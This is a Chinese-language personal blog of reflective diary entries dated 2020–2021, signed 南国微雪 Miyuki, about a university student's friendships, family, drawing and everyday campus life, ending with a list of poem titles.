　　长在路边的那棵树，当初还是种子的时候，周围几乎没什么土，全是沙砾和石头。我也没办法踩。可能这才逃过一劫吧。（笑

　　此后，再没有管过那些种子。任由天地风吹日晒雨淋雷打。

　　直到高中有一天回来，妈妈告诉我说，我种的枇杷树结果了，可惜的是，前两天有辆卡车，撞掉了它半边的树枝。

　　但是结的果依旧很好吃。不过稍微有点酸呢。（笑


　　那是我幼时之后第一次认认真真地，再去看我亲手植下的生命。

　　今已亭亭如盖也。

　　一如生活。


　　南国微雪 Miyuki

　　2021 年 8 月 2 日

随记 - 2021 年 7 月 27 日

　　今天跟一个闺蜜聊天。

　　她之前就跟我说，她这个假期要学车。我说挺好的，充实。她问我在家干嘛，瘫着？我说，找了个教程，每天逼自己画两个小时画。她说很棒啊。

　　一连说了几个类似的词。

　　我补了两句，说，画画的反馈周期太长了，我不知道能不能坚持得下去。

　　她随即回复。

　　「感觉在我这里，我一直觉得你是一个很有毅力的人。」

　　我看到之后懵了。

　　就时间维度上看，她似乎并没有怎么思考。

　　雪：

　　是吗……是写日记给你带来的感觉吗……？

　　珍：

　　不知道，反正就是感觉，很有计划。

　　我：……

　　就很突然，也很迷惑。因为我并不觉得自己有毅力，我也有挺多事情没有坚持下来。


　　写着写着忽然想到，她前不久问我的那个问题。

　　「到底应该追求那种很遥远的星星，还是应该现实一点抓住身边的呢？」

　　我的回答是后者。

　　当时并没想太多，只是忠诚地回答问题。现在来看，或许是将她越推越远。

　　或许有哪一天，会在中间蓦地显出一条线，两个世界，泾渭分明。

　　友谊的巨轮，那个图标，早已不知道消失在哪天了。

　　有些人，大约永远只能做朋友。无论男性女性。


　　南国微雪 Miyuki

　　2021 年 7 月 27 日

随记 - 2021 年 7 月 21 日

　　在路上。

　　看见一对男生女生并排走。女生手里牵着一个小孩子。

　　很小，牙牙学语，但能走路了。

　　一切都跟那天很像，记忆瞬间被带往远方。

　　她的小侄子，最终也还是没能让我牵手。不知道这算不算一个遗憾。

　　那是冬天，与现在炎炎的夏日完全不同。能捉住太阳，就已经是很庆幸的事情了。

　　那天，正好太阳露了脸。

　　最初的我，并没想到会陪着她去公园。


　　我还记得那天，那个小家伙闪着光的眼睛。用一种很兴奋的语气问我和她。

　　“那是什么呀？”

　　那是玩具摊哦。还有人在遥控飞机。

　　听，还在响呢。你应该会很喜欢吧。

　　灵看了我一眼，笑了一下：“快跑吧，不能让他看见这些，不然我们就走不掉了。”

　　就算到最后，小家伙的眼睛，仍在痴痴望着那里。


　　我也还记得那阵的手足无措。

　　本来我都要走了，小家伙突然闹起矛盾。无奈之下，只能送她俩到家门口。

　　“不进来坐坐吗？”

　　推辞三番。进屋。

　　被家长盯着看。

　　“坐啊。想吃橘子随便拿。”

　　“嗯。”

　　大人们都笑。我并不敢轻举妄动。

　　一边听着她在一旁收拾东西的声音，一边回她几句闲碎的话。

　　那是我第一次一个人进女孩子的家里。

　　也是最后一次。


　　我最终记得，自己的那几声呜咽。

　　主动提出要合照，笑着同意了。

　　抱了最后一下。

　　“这个寒假，要好好玩哦。”

　　“嗯，你也是。”

　　一个人蹲在马路边。

　　“天哪，我都干了些什么呀……”

　　一边感受自己脸上的温度，一边反思。

　　自言自语的声音都是抖的。真没出息。


　　想着这些。蓦地好奇，那对男孩子和女孩子之间，又会发生些什么呢？


　　南国微雪 Miyuki

　　2021 年 7 月 21 日

随记 - 2021 年 7 月 14 日

　　风扇，在身边吱悠悠地转着。驱散夏天的燥热。

　　回到家已经过了几天了。变化很大。各种意义上。

　　在厨房里习惯性地地洗完手，习惯性地抬起头，习惯性地朝一个地方伸出手准备拿毛巾擦手，然后愣了一下。

　　一个超大的 AUX 奥克斯显示在我面前。机身是黑的，挺厚，上面亮着几个灯：热水，冷水，加热，缺水，检修……

　　一台净水机。不知道什么时候安的。指示灯在上面一直安静亮着，如夜晚一样。

　　家里的风扇，已经有两台了。依旧没有空调。

　　讨人厌的蚊子还是那么多，仍然是那么热。

　　一切都是熟悉的感觉。


　　问妈妈要了一个超大的纸箱子。我可以钻进去睡觉的那种，像小猫一样。

　　我想在这个纸箱里，放我这20年来，能够具现化的所有记忆。

　　我所有不想遗忘的东西。

　　包括重要的书，淘来的衣服，为数不多的照片，画的画，值得珍藏的礼物。

　　我想留下。

　　听说人的灵魂只有 21 克。我想试试我的记忆能有多重。

　　这个想法最初源于自己的迁挪数据。每次刷机、装系统都要备份一堆，但有时还是不可避免地清掉了所有。

　　是有一个崭新的开始，但总觉得，缺了什么。我不知道已经丢过多少张照片了。后来就想着，干脆把自己不得不留念的所有打包成一个压缩文件。

　　一个包，孑然一身轻。

　　这个理念，到了现在这个纸箱上。能装进去的，价值等同于太阳。


　　在家已经几天了。没有学习。只聊了许多的天。跟许多人聊。

　　会有那种怀疑自己的时候。到底有没有意义。

　　谁知道呢，就这样下去了。

　　忽然想起了，自己在家用来擦身体的那条毛巾。底色淡黄色，上面有许多灰色的污斑，洗不掉了。以前约莫是用来擦水泥块之类的。

　　我曾凝视了它很久。

　　我自己身上，有多少这样的灰色痕迹？自己，又在别人身上留下了多少？自己摆脱了多少？又无视了多少？

　　越想越迷糊。


　　现在外面依旧还有蝉鸣。

　　还是很热。热到人完全不想动弹。想把身体泡在冰块里。

　　我不知道明天热不热，我只知道，我的暑假还要继续，我的生活还要继续。


　　南国微雪 Miyuki

　　2021 年 7 月 14 日

随记 - 2021 年 7 月 2 日

　　吃完饭，走在路上，遇见了舞社那一群人。很多。不乏有我的好友。

　　或许是没有看见我，擦肩而过。那一瞬间，一种不知怎么形容的感觉。我感觉我从来没有融入过他们。不知道怎么就诞生了这样的感受。

　　没有通知，没有聊天。

　　被他们斥之门外，没有难过，只是奇怪。为什么同一种热爱，诞生了那么多种门派？莫名的疏离，无由的亲近，一种不可追寻的对待。

　　我忽然想起了昨天。

　　回去的路上，有两个男生，并排走。其中有一个人，似乎很熟悉，便多看了两眼，但是依旧在和身边的人聊天。那男生似乎这样觉得，就对视上了。

　　是演出同一个节目的队友，不是很熟，只认识的那种程度。甚至叫不出名号。

　　他朝我投过一个无法言喻的笑。

　　是单纯的打招呼，还是有其他的含义，我不得而知。只是被有过交集的人撞见有些尴尬。

　　但是这样，依旧会问候。

　　我曾记得，我问过副会长，咱们舞社的水，深吗？副会长点了点头，说，这里面关系复杂得很，水很深，不要碰。

　　我只是简单希望，小社会的性质，不要体现在我所热爱的事情上。

　　我一直为，现代社会机关算尽，为利而食，为益而死的现象难过。在我眼里这就是猜疑链，属于内耗的一种。与天天批评自己，但实际并无他用的伤痕文学并无二异。若是有《Outer Wilds》里挪麦人的气派与格局该多好。

　　或许我就应该生在理想，死在理想。

　　起码自己，愿日后道路，只留甄朴。


　　南国微雪 Miyuki

　　2021 年 7 月 2 日

随记之二 - 2021 年 6 月 13 日

　　今天接种疫苗第二针。在学校体育馆里。

　　一个办公桌，右边是信息登记，左边是护士拿着针头接种。两个人全副武装。

　　我看到了。

　　登记信息的护士，左手中指包着一块纱布，在手套里面煞是显眼。手套里面因为不透气，各个地方都黏在手上，看起来很乱。

　　打针的护士，在给前一个人和我打的时候，手都很抖。可能因为太多人了吧。


　　我没什么感想，只说了一句话。

　　辛苦了。

　　不过大概传达不到吧。这种寒暄语。


　　南国微雪 Miyuki

　　2021 年 6 月 13 日

随记之一 - 2021 年 6 月 13 日

　　昨天灵跟我说，她想买衣服，但是每次挑着挑着就没了下文。她说想要成熟一点的衣服，最好是套装，因为懒的搭配。

　　我问，青春一点的不也挺适合你的吗。然后想起了我的那件粉色的衣服，想听听她的意见。于是把淘宝里的衣服照片给她发过去了。

　　她说，我觉得挺适合你的呀。

　　我问，为啥。

　　然后她马上发过来一张图，那图我曾经给她发过。那张照片，是五一我穿那件衣服出去玩拍的。

　　她说，这件衣服跟你发的那个衣服挺像的。

　　我说，就是那件。我还问了一下，为什么你这么快？翻聊天记录翻的，还是在相册里有。

　　她说，我觉得挺好看的，就存了。


　　在自己在意的女孩子的手机里，存着自己的单人照。

　　在那一刻，我第一次觉得，原来这竟是一件让人极其害羞的事情。


　　南国微雪 Miyuki

　　2021 年 6 月 13 日

随记 - 2021 年 6 月 11 日

　　早上十点，被吵醒了。是父亲的电话。

　　“科二我考过了！”

　　听到父亲在电话那头的兴奋呐喊，还没转起来的脑袋懵了一下。

　　诶？

　　“啥时候考过的啊？”

　　“就刚才，说签完字就可以走了。”

　　“这样啊。不过听说科三好像挺难的样子诶。我好多同学都挂在科三上面了，比如没系安全带什么的。”

　　“还要学嘛，科三细节考得多，应该不是很难。”

　　听着父亲在那头的叨叨絮语，我还没回过神来。

　　父亲问我在哪里，我说床上，他应了一声，然后就招呼挂了。

　　直到挂电话，他都只说了这一件事。也没问其他什么。

　　罕见。

　　后知后觉。


　　父亲四十多岁，快五十了。仍在面向未来。

　　而我，又在焦虑什么呢？


　　南国微雪 Miyuki

　　2021 年 6 月 11 日

随记 - 2021 年 6 月 7 日

　　中午，从校外回来。

　　路过一个宣传点。有帐篷。蓝色的。里面坐着一个女孩子。我从她后面路过。

　　她在画画。

　　拿着一本书。我看不懂，但能看出来是个头骨。（或许是伯里曼？）她画得很潦草，但只几笔，型就出来了。

　　我觉得很厉害，就在旁边站着看了大概五六秒的样子，然后觉得不太好，就往旁边靠了靠，希望她能注意到。

　　「那个，同学……你是……有什么问题吗？」

　　「啊，没有，我就是觉得你挺厉害的，就在旁边看了一下。」

　　「啊、这个……我是在赶作业……」

　　「这样啊，我原来一直想画画，但是一直都学不好……」

　　「可以没事儿自己画着玩儿嘛。」

　　娴熟地捏住架子，换上新的素描纸，把旧的放在一边，翻过另一页。


　　可能在画画上，我还是在找借口吧。不够努力。懒里懒散的。


　　下午跑步的时候，跑道上很长一段时间只有我和另一个人。一个女生。没戴耳机。

　　我向她表示加油的时候，她脸上的表情似乎很是惊讶。

　　看过很多次这样的表情了。在大学里。

　　让我想起了高三。


　　晚上出来吃饭。毕业季的烧烤摊很有夜生活的感觉。期间穿梭着一个女孩子，大概是哪位食堂员工的孩子，很小，大概小学生的样子吧。

　　穿着芭蕾舞一样的服装。看起来很漂亮。

　　就觉得，有时候给女生做的衣服，在感官上都漂亮得不讲道理。完胜男性的服饰。

　　面料看起来都很舒服。

　　遇到了罗师兄，似乎是带着他女朋友出来吃饭的样子。他似乎也很新奇。


　　当自己从人堆里出来，拉远视角。

　　觉得在学校里诞生这么一个夜生活集市，似乎也不错。就是只如昙花一现，芳美艳绝而短其瞬间。


　　南国微雪 Miyuki

　　2021 年 6 月 7 日

随记 - 2021 年 6 月 6 日

　　今天做作业，从笔袋里翻找了很久一只要用的笔，然后忽然怔住了。

　　一只普通钢笔。黑色的。款型不好看。一直装在小袋子里。

　　没舍得用。

　　明明高一的时候就买下来了。

　　不是我买的。

　　一个日常的下午。跟高中那一千多天几乎没什么不同。

　　拜托的懿，让她帮我买的钢笔。她出去逛街，玩儿，我则是因为懒不想去，待在教室写作业。

　　傍晚的时候，她吓我一跳，从侧边伸出手问我要钱。大概19块，记不清了。

　　旁边是岚。她的挚友兼闺蜜。也是我的好友。

　　最终是岚挑选的，因为懿不懂钢笔。然后懿付的钱。


　　时至今日，我仍不敢用。

　　胆小如鼠。

　　也无所谓吧。

　　十几块钱的钢笔本来就容易坏掉。


　　南国微雪 Miyuki

　　2021 年 6 月 6 日

随记 - 2021 年 5 月 21 日

　　现在在美术室。

　　大学，爱下夜雨。每到傍晚，七七八八地，总会落下丝丝纺锤线，敲在地面上。

　　带着深色的颜料，把空气连带着地面，一起浸润。变得清新而有分量。

　　艺术楼尤为甚。美术室在五楼。有窗。

　　窗外面是我所不知名的大树，郁郁苍苍。随风扑腾，响出沙沙声，枝干晃呀悠呀，感觉很是惬意。

　　树旁边不远处，是两盏大灯。明黄明黄的，扎眼，但是很温暖。

　　美术室里很热。听着后边老师的讲课声，站在窗口吹凉风，有种不为人知的舒心感和幸福感。

　　那种凉意只能站在窗口才能感受到。

　　自己，活在世界上的真实感，在这一刻，淋漓尽致。

　　回头继续下笔画画的时候，忽然觉得，生活莫如此。


　　南国微雪 Miyuki

　　2021 年 5 月 21 日

随记 - 2021 年 5 月 18 日

　　读到轻小说里，互送生日礼物一段情节，忽然想起一件事情。

　　那是在五一去玩不久之后的事情。


　　我和学妹的生日紧挨着，隔了没有几天。

　　我原意打算为学妹庆生，毕竟陪了我也算有一段时间，然而她好像比较现充，那天的时间安排满满当当，全是她一些朋友为她庆祝。我根本安插不上。

　　我提出了很多方案，都被她一一否决了，总感觉有点寂寞。后来她说不聊她的了，说为我庆生。

　　我当时是不大愿意的，因为我觉得没有付出点什么，或者没有给别人带去什么，就收下别人的好，不大愿意接受，也颇不像自己的风格。然而她执意这样做，我也没什么办法，便叫她生日那天陪我打篮球就行。

　　讨论结束后，我没有多顾虑，很坦言地对她说，我觉得我亏了。她问为什么，我的回答大概就如上面所说的那个样子。

　　然后她说了一些，我从未这样考虑过的话。


　　「在别人送礼物的时候，不要急切的想着回礼。这种急切在别人眼里其实有点不礼貌的感觉。像是一个交易，会让别人觉得不舒服。其实自然一点就好。」


　　大概就上面那个样子。

　　以前的我从未考虑过这些。

　　在很坚定地执行自己的原则时，往往很容易忽略掉别人的感受。


　　南国微雪 Miyuki

　　2021 年 5 月 18 日

随记 - 2021 年 5 月 10 日

　　「废物，陪我去取个快递。」

　　「啊？哦，啥快递？」

　　「京东，嘿嘿，一个好东西。」

　　「搞啥啊，这么神神秘秘的。」

　　……

　　「好看吗？」

　　拆开，是一个钢笔墨水套装组合。

　　「你咋突然想起用钢笔了？」

　　我挺惊讶的。

　　「你先说好不好看嘛。」

　　「为啥？」

　　「说好看就送你了，说不好看就不送了。」

　　「你这啥鬼逻辑……」

　　「好不好看嘛。」

　　「还行，不过我还是很好奇，你为啥突然想起用钢笔了？」我把套装盒塞回他手里。

　　「啥啊，我咋可能用钢笔嘛，你也不想一下。」

　　「万一心血来潮了呢。不过你不用钢笔买它干啥？」

　　「废物，这是给你买的。」


　　然后我懵在原地。


　　南国微雪 Miyuki

　　2021 年 5 月 10 日

随记 - 2021 年 3 月 31 日

　　前天匆匆忙忙赶去上素描课，途中听到两个小孩子在追逐打闹。有一个小孩的母亲在后面训斥，叫不要乱跑。当时正好是与公路交界的地方。然后我不自觉地一边看着那两个小孩子，一边往教室赶。

　　走了好远才后知后觉地笑自己，我到底在担心什么？

　　上完课已经是 22:30 了，天色已经完全黑了，只有几盏灯还稀稀疏疏地亮着，像渴睡人的眼。

　　进校门的时候，有一辆车通过检查，电子机械女声报出一声：“临时车。”

　　然后我懵了一下。

　　回头一看，是个很正常的汽车，然后才反应过来，是「临时车」，而不是我第一反应的「零食车」。

　　我这是想吃的想疯了（笑。

　　本来应该是昨天发的，事情林林总总的，总忘记了。

　　今早走在路上，下了一点雨，很凉快。有一点微冷。上完课回宿舍的路上，看到各式各样穿着青春靓丽服装的女生，养眼是养眼，但是没有一个跟我有关系，总觉得有点寂寞呢。

　　上课很困，课都没听，就在睡觉。

　　今天，大概也会是平平无奇的一天吧。


　　南国微雪

　　2021 年 3 月 31 日

随记 - 2021 年 3 月 26 日

　　今天为了一些事情，去老区了，顺带买素描纸。

　　想起自己有一个经常有一搭没一搭聊着天的女孩子，她也住老区。走在路上就跟她发消息，问她老区有没有文具店，她很明确地告诉我没有。然后当我到的时候却找到了。

　　有种自己身边笨蛋越来越多了的感觉。

　　她无意中跟我说，她感冒了，今天请病假，就没去上课。我刚好想喝一杯杨枝甘露，问她要不要一杯，就当慰问她了。但是她好像并不想下宿舍楼，就作罢了。

　　「不想下宿舍楼诶，你别买了，就当为我积德了。」

　　老区外面的小吃街真的有很多吃的东西。

　　一路找文具店都能看到各种各样的吃的东西，路边摊。炒粉，土豆饼，冒菜，烧烤，面筋，串串之类的。

　　很想吃，忍住了。

　　也不知道自己为什么要忍。

　　可能是因为自己一直忍耐惯了吧，而且吃那些东西更容易长胖……

　　但是真的好想吃啊……

　　那些路边做这些的人也很辛苦的样子。


　　过马路的时候，看到一个小孩子盯着我。

　　可能是他的爷爷之类的人吧，在一边收摊了，配钥匙的那种摊子，然后他也在收拾书包。他面前有一个比他身高略微大一点的书桌，还有小凳子，很明显在大人守摊的时候，他一直在做作业。

　　收拾书包的时候，他也一直在盯着我看。

　　然后我突然意识到，他可能不是盯着我，而是我手上的那一杯杨枝甘露。

　　然后一股罪恶感涌起。

　　他一定也想要一杯吧？不知道是不是我自己意识过剩呢？


　　慢慢踱回宿舍楼。

　　路上一阵大风，刮得地上的落叶在地上拖着响。

　　落叶很多，拍了一张。

　　感觉平时埋头在手机里的自己，错过了很多很多的东西。

　　那些穿着篮球服在洗手池洗脸的女生，

　　那些谈论着有意思的活动的人们，

　　那些在景观池旁驻足的情侣，

　　那些大风刮起来的落叶，

　　那些忽闪忽现的猫，

　　那些变幻的云，

　　那些倒影。

　　出去走走，一切都会好的。

　　不知道什么时候，这样坚信了起来。


　　南国微雪 Miyuki

　　2021 年 3 月 26 日

随记 - 2021 年 3 月 5 日

　　今天开学第一天。人很多。

　　看见忙忙碌碌的人群，忽然一种很有一种生活的感觉。

　　中午去食堂吃饭的时候，看见了一个女孩子，正襟危坐，低着头。一张桌子四个座位，其他三个看起来是她的大人的样子。

　　我想起来我也有过这样的不堪。

　　算是不堪吗？说不太清呢。不过看那个女生一副泫然欲泣的样子，大概算是吧。

　　不去看她应该算是尊重吧，于是扭头走掉了。

　　换了被单，去洗了洗，然后去操场跑步。然而我发现，湛蓝的天空有什么不一样。

　　有人在放风筝。

　　原来也放过这个东西来着，当时不是很懂这个的窍门，许多次都没飞起来，就坐在地上气馁。第一次看它在天空消失成一个点的时候，心里很开心。各种各样的回忆便浮现了出来。

　　明明上气不接下气，还是掏出手机拍了一张。或许以后就看不见了。

　　很怀念。

　　回宿舍的路上，有人用蛇皮袋在地上拖着什么，看起来应该是书，很重的样子，袋子都被拖裂开了。

　　那个男孩子好像也一筹莫展的样子。

　　“ 需要帮忙吗？”

　　说起来可能有点不现实，但当我意识到自己在做什么的时候，手就兀自拿起了袋子的尾端了。

　　很重。

　　他好像回答了我，应该是不好意思所以拒绝了，但我当时戴着一只耳机，没听清。而且我已经上手了，他好像也默许了。

　　这些是我后来回想才猜测到的。

　　搬到目的地后说了句「没关系」之后就离开了。当时觉得没什么。

　　耳朵里的音乐很适合跳舞。身体情不自禁动了起来。

　　然而没想到，那个男生和他朋友追了上来，似乎也回宿舍的样子。他故意慢了半步，从朋友身边脱离开。

　　“ 你是什么专业的呢？”

　　“ 计算机的。”

　　“ 这样啊。刚才谢谢你。”

　　第二次道谢了。

　　“ 没什么。”

　　问的过程中，他似乎上下打量着我的样子，最后回到了我的眼睛上。

　　天知道我当时多羞耻。被逮到了现行，还是这么一副不堪的样子。

　　耿耿于怀回到宿舍，拉开门，碰上正要接水的昆，愣了一下。他也愣了一下。

　　“ 废物回来了？”

　　“ 嗯。废物你怎么这时候才来？……”

　　一切都是日常的光景。

　　那个生活。回来了。


　　南国微雪

　　2021 年 3 月 5 日

随记 - 2021 年 2 月 7 日

　　今天久违地出去了一次。本来是想跑步来着，但是素描本太碍事了，就改成散步了。

　　很久没出去了，街上该熟悉的还是那个样子，但是小学变化甚大。这街上几近没落的小学是我的母校。上学去必须经过一个铁索桥，桥依旧，但另一头，公路拔地起，是我在半年之前不曾看到过，也不曾预料的景色。沿河也建了河堤。

　　学校入口就是一条山路，能沿上去往高处。想着自己从没有走过，就这样去看看也不错。由此，就诞生了我的第一幅画。

　　我无法言说那是一种怎样的感觉。站在山高处，耳朵里是象征宇宙的浩瀚幽暗的音乐，还能听到风刮过自己耳边和刮过竹林的细碎声。画纸需要努力按着才能安静下来。不远处是即将抵达山后的夕阳，夕阳将云边缘染得黄亮透明。

　　下来的时候，有人问我，是不是又要建造和规划什么，看我站在上面那么久，还记着什么。

　　我愣了一下，才反应过来是被当成测绘师了。笑了一笑，说没什么。心里想的却是，原来自己现在轻而易举就能被当成大人了啊。

　　回去走在路上，才注意到，街上很多人家都挂起了四个一叠的红灯笼。还有几个小孩子在玩摔炮。

　　虽说是如此，但年味还是渐渐淡去了。大概八九岁的小时候，困到不行却熬到了午夜，那时候看到外边黝黑的天空一起绽放四彩八色的烟火，那时候心里的震撼。大概一生都忘不了。

　　慢慢地走回家，耳边仍是《Outer Wilds》的原声。

　　那段路程。沿路的情绪。自己的渺小。无处可藏的感情。最终凝结成一个想法——

　　我想好好地爱自己身边的人。

　　这是我贫瘠的才华限制之下，唯一能做的，能让人感到安心的事情了。

　　我不知道这个想法能坚持多久，或许睡一觉就忘了。但是，真的，很想好好地给别人温暖。

　　想拥抱一个人。

　　在家里看向夜空抑制住这股冲动。


　　南国微雪 Miyuki

　　2021 年 2 月 7 日

随记 - 2021 年 2 月 3 日

　　其实我今天不知道说什么好，因为我去县城里完全是出于意外。但也因此收获了一段不错的经历，还算是比较幸运吧。

　　之前想要邀请灵出来，但是因为没有计划，所以不太愿意的样子。今天碰运气去试了一下，竟然同意了，还是挺意外的。毕竟她之前跟我说的不想逛街之类的，因为腿会比较疼。然后她自己给出的方案却是一起去爬山。

　　搞得我有点想笑。嘛，不过也还好啦。

　　见到她的时候已经是很久之后了。那时候我背对着她，因为对她家的位置不熟，所以就在外边等。

　　“打他！打那个叔叔！”

　　然后我就感受到腿部一阵微弱的冲击力。

　　转过头去，看到一个小男孩，先是懵了一下，然后看到她才稍微懂了。然后马上又懵了——不是说爬山吗？

　　小男孩是灵的侄子，舅舅出去办事去了，然后她暂时带一下，虽说听她的描述，大概也不算是暂时性了（笑。然后我就陪着这两人一路走，看着她和他之间打闹。不过三岁的小孩子，打闹也打闹不出个什么来吧。从我们三人转过第一个街角开始，我就知道两个人爬山，是不可能的了。

　　就这样一直走，一直注视着这两人，不时说两句话。

　　小孩子玩具背在背上的小背篓里，途中要牵手。他一手牵着灵，另一只手空着。于是我就想上去牵着，然后他十分警惕地看着我的手，开始往灵那边躲，边躲边摇头。我只能无奈地叹了口气。去往公园的路上，和归途，试了几次都没有成功。我开玩笑地说：“ 教得挺好啊，面对陌生人的时候。” 灵笑了笑。虽说是这么说，但是心里还是有点寂寞啊（笑。途中问起，为什么要叫我为叔叔，心存怨念。灵以一种很无奈的表情说：“ 他叫我都叫阿姨的。我总不能让他叫你哥哥吧？”

　　在公园的一角，他一个人独自玩着的时候。我们两人在背后看着他。相隔不远。

　　“ 能抱一下吗？我很早就想这么做了。他一直缠着你，没什么时间啊。”

　　“ 可以啊。”

　　“ 见到你好开心啊！”

　　灵看着我笑了一下。

　　然后这时候，很尴尬地，她侄子在我们拥抱的时候转过头来了。然后见到我们这样，脸上带着笑又把头转回去了。

　　我觉得这个小男孩有点恐怖。不过 3 岁的孩子……应该不会的吧？

　　我刹那间想起了那句话：猫猫有什么坏心眼呢？

　　说的大概就是这样的情形。

　　下公园楼梯的时候，总觉得有许多散步的在看我们三个人。可能是我意识过剩吧……这个坏毛病一直改不了。

　　我本来打算，就陪着他们两人，回到她的公寓入口，我就在楼外等候。但是谁知道小男孩突然耍起性子来，怎么着也不肯回家去，然后没办法，我也跟着一起来，和着灵一起好说歹说把他劝进了家门。这时候他舅舅恰好也回来了，然后我站在她家门口迷茫了一下。跟着进去了。

　　热情欢迎。为客之道也不好推辞。

　　灵他们要回老家去，所以在收拾。我一边看护着这个小男孩，一边默默在意着她们收拾东西。为什么要看着这个捣蛋鬼？可能只是我为了缓解紧张吧。

　　这是我头一次，一个人，去女孩子的家里。旁边还有她的家人们。

　　很拘谨。

　　这段时间熬完，终于听到了灵要送我出小区的招呼声。我整个人才松懈下来。路上我才后知后觉地知道她为什么要送我：小区门口是有人脸识别的，要不我出不去。

　　然而我在出口旁边又看到了车道，车道有能容一人通过的间隙。所以又很懵。

　　“ 能拍张照吗？”

　　“ 啊！你又这样啊？” 她笑了笑，“ 可是我觉得我今天很邋遢欸。”

　　“ 没有啊，我觉得挺好看的啊，” 我看着她笑了笑，然后粗略打量了一番，点了一下头，“ 嗯！”

　　“ 别走了，再走脚疼了！”

　　“ 哦哦……好。” 她听到愣了一下，笑了。

　　前几天约她出来，她不想出来就是因为没有计划，和脚疼来的。

　　没有快门声。

　　“ 那……我走了？” 灵指了指小区。

　　我现在都不知道为什么，那时候双臂张开了。

　　她笑了，然后也张开了双手。

　　“ 回去好好玩啊。” 我在她的头侧边，只说了这句话。

　　“ 嗯。”

　　“ 那我走啦。” 她说的话，此刻轮到我说了。

　　“ 嗯，拜拜。”

　　“ 拜拜。”

　　背道而驰。

　　人来人往的背后，我知道她正在向她家走去。也幸好，她看不见我的表情。

　　我几乎是逃出去的。

　　我在这种人多的地方都做了些什么……

　　我蹲在马路边双手蒙着脸，反思了许久，却只得出了几声情不自禁的呜咽、还有一种——

　　名为开心的心情。

　　我大概不适合做男孩子。

　　太容易满足了。

　　笑。


　　南国微雪 Miyuki

　　2021 年 2 月 3 日

随记 - 2021 年 1 月 28 日

　　犹豫了很久终于还是去县城里找同学玩了。

　　很久了，崔终于又连上了我音响的蓝牙。一起跳了舞。

　　很久都没有过这样的体验了，在高中的日常经历。感觉很幸福。

　　他说我长高了。我觉得是他的错觉。然后他很振振有词地跟我说，以前跟我走一块儿，侧头看向我的时候，一般是看向我现在鼻梁这个位置。那个位置，那时候是我的眼睛。

　　我有点不知道说什么好。

　　习惯的力量，总能于这些些微的地方展现，给人以一种奇妙的感觉。

　　去找另一些同学玩。路上迷了路。在这小县城里生活了这么久，竟然还不能完全认识路。真觉得自己路痴到一种境界了。

　　可能因为自己以前，只是走学校到家的那条路吧。

　　城市再大，对于我来讲，大概也只是能否看看宏美夜景的区别吧。

　　记得回家的时候，在地铁上看到成都的地铁线路图，才真正有一种成都触不可及的感受。从南到北，从东到西，一步步坚实地迈过、走过，我又会看到多少风尘呢？

　　路痴到走进了一家超市。看到了一个女孩子，衣服是附近小学的校服。在收银台前结账，手里是一把用塑料袋装起来的蒜苔。

　　当时真的有一种不可言喻的觉知。

　　怔了一会儿，才又开始往前走。

　　可能是心疼吧，有一点。不过我觉得，她约莫也不会需要我这样陌生人的感动。

　　路上看到了中医院。

　　想起自己高中喜欢的女孩子，就在这家医院里过的前年的除夕。

　　想起自己，大年初一义无反顾地要去城里看她。

　　想起路上清冷的城。

　　想起她在病床上虚弱的神情。

　　想起自己笨拙的语言。

　　想起她父母的表情。

　　想起后来问她时，得知只有我和她一个好友去看望过她时，自己的欣喜。

　　现在大概也都被风吹散了罢。

　　大概也都仅滞留在我孑身的回忆里罢。

　　不知道她怎么想过。

　　猜过。

　　罢过。

　　睹物思人，说的大概也莫过于此吧。

　　等人都到齐了，去吃串串，在一个我从不知道的地方。在桌上，我们只是碎着嘴，论着些无聊却又值得津津乐道的事情。

　　可能说什么都并不重要。

　　重要的只是，能听见他们的嗓音吧。

　　那些曾经烦到溺耳，现在又难逅一闻的声音。那些曾经不知道的安心感，此刻才从他们的嗓音里探出头来。

　　打电话的时候，那些熟悉的嗓音，配上自己那个时期专属的绰号。一瞬间仿佛时间穿溯，回到以前。

　　那时候我们还没毕业。

　　他们，依旧是喝高了差点走错路的少年。

　　至于饭后的公园闲逛，烟火大会，可能就只是寻回和重现旧时的快乐了。愚钝也好，纯真也罢，都是小时候久逢的甘霖，记忆自然刻得深一些。

　　现在在同学家里，听着他们吵吵闹闹的玩游戏的声音。

　　可能这就是生活吧。


　　南国微雪 Miyuki

　　2021 年 1 月 28 日

随记 - 2020 年 10 月 17 日

　　从食堂到工作室的路上，有一段路，上坡，旁边是草地。草地的边界用一些很矮的石砖拦着。

　　有一辆小轿车朝我缓慢地开过来，我感觉可能会蹭到，于是往旁边挪了一步，站在了石砖上。但是差点没站稳，用手平衡了一下。然后突然觉得这种样子，很熟悉，很怀念。

　　想起了小学时候，那时候回家的路上，也喜欢踩着公路旁边矮矮的石砖，一步一步地，认认真真地平衡自己的身体，往家的方向进发。

　　那个时候约莫纯粹是，很无聊吧，枯燥漫长的回家路上找的一点乐趣。

　　现在却是觉得这样的举动很孩子气，很可爱。但是自己平时却不会去做这样孩子气的举动。

　　认识改变了呢。或许这就是成长吧。

　　想着这些，还是开始一步一步地，认真地平衡自己的身体，踩着矮矮的石砖，往工作室的方向进发。

　　只有这样小小的一段路，还是晚上，不会有人在意的。

　　任性一点，也没有什么问题，对吧？

　　自己究竟是在向谁确认呢？


　　南国微雪 Miyuki

　　2020 年 10 月 17 日

随记 - 2020 年 5 月 15 日

　　今天没有由来地，想写一点点什么东西。

　　我仍旧不知道自己会成为一个什么样的人，我所明确知道的，只有我想成为一名创作者罢了。想用什么东西传达自己的心情和理念。想要收获更多认同的人。

　　文字最简单，门槛很低。但天花板同样很高。于是我时常埋怨自己的灵魂为什么不够有趣，不够写出那种让人初见就甚为惊艳的字句。以至于似乎忘了自己的初衷。

　　感觉直击人心灵的的排列组合都被人写尽了罢一般，只觉得自己的书读得不够。

　　恍然一觉，自己，已经许久许久没有读过文艺类的涤荡心灵的书籍了。现在仅有的，只有教材一类的难啃的读物了。

　　像是在被什么赶着走一般。

　　原来我也变得这般浮躁了吗。

　　我仍旧忘不了那天晚上哭过之后，那个女生陪我的长谈——在教室电影的背景音和人声的嘈杂之下。

　　她每说的一句话都破开我的性格，震荡我护住心理的那层硬壳。一句话，砸一下，震一下。没有喘息，一下一下又一下。到了最后，感觉像是把自己的精神世界悬吊起来示众一般，完全招架不住任何攻击。

　　那大概是我第一次单独对着同龄的女孩子哭得那样难堪吧。

　　但她只是笑，微笑，用柔和的目光看着我。

　　我想成为那样的人啊。

　　什么时候，能够，实现呢？

　　那片希望的蓝天。


　　南国微雪 Miyuki

　　2020 年 5 月 15 日

诗词总录

诗歌

  1. 时光与你
  2. 新光
  3. 徨
  4. 忆忆思
  5. 继续
  6. 蜕变
